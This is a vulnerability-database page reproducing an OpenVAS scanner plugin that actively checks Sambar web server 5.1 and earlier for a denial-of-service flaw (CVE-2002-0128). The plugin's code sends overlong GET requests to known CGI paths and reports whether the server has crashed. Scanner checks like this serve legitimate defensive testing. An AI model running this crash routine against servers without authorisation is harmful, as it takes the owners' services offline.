Lucene search

K
openvasCopyright (C) 2002 Michel ArboiOPENVAS:136141256231011131
HistoryNov 03, 2005 - 12:00 a.m.

Sambar <= 5.1 DoS Vulnerability - Active Check

2005-11-0300:00:00
Copyright (C) 2002 Michel Arboi
plugins.openvas.org
6

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

6.7 Medium

AI Score

Confidence

Low

0.094 Low

EPSS

Percentile

94.7%

It is possible to kill the Sambar web server

# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:sambar:sambar_server";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11131");
  script_version("2023-08-03T05:05:16+0000");
  script_tag(name:"last_modification", value:"2023-08-03 05:05:16 +0000 (Thu, 03 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2002-0128");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Sambar <= 5.1 DoS Vulnerability - Active Check");

  script_category(ACT_DENIAL);

  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("gb_sambar_server_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("sambar_server/http/detected");

  script_tag(name:"summary", value:"It is possible to kill the Sambar web server 'server.exe'
  by sending it a long request like:

  - /cgi-win/testcgi.exe?XXXX...X

  - /cgi-win/cgitest.exe?XXXX...X

  - /cgi-win/Pbcgi.exe?XXXXX...X (or maybe in /cgi-bin/)");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks if the server still
  responses.");

  script_tag(name:"impact", value:"An attacker may use this flaw to make your server crash
  continuously, preventing you from working properly.");

  script_tag(name:"affected", value:"Sambar WebServer version 5.1 and probably prior.");

  script_tag(name:"solution", value:"Update to version 51p or delete the affected CGI scripts.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3885");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

if( http_is_dead( port:port ) )
  exit( 0 );

function test_port( port, cgi ) {
  url = string( cgi, "?", crap( 4096 ) );

  req = http_get( item:url, port:port );
  res = http_send_recv( port:port, data:req );
  if( isnull ( res ) )
    return TRUE;
  else
    return FALSE;
}

# The advisories are not clear: is this cgitest.exe or testcgi.exe?
# Is it in cgi-bin or cgi-win?
foreach dir( make_list( "/cgi-bin", "/cgi-win" ) ) {
  foreach file( make_list( "/cgitest.exe", "/testcgi.exe", "/Pbcgi.exe" ) ) {
    if( test_port( port:port, cgi:dir + file ) ) {
      # If we fail on the first connection, this means the server is already dead
      break;
    }
  }
}

if( http_is_dead( port:port ) ) {
  report = "The service is not responding anymore after sending a crafted HTTP request.";
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

6.7 Medium

AI Score

Confidence

Low

0.094 Low

EPSS

Percentile

94.7%

Related for OPENVAS:136141256231011131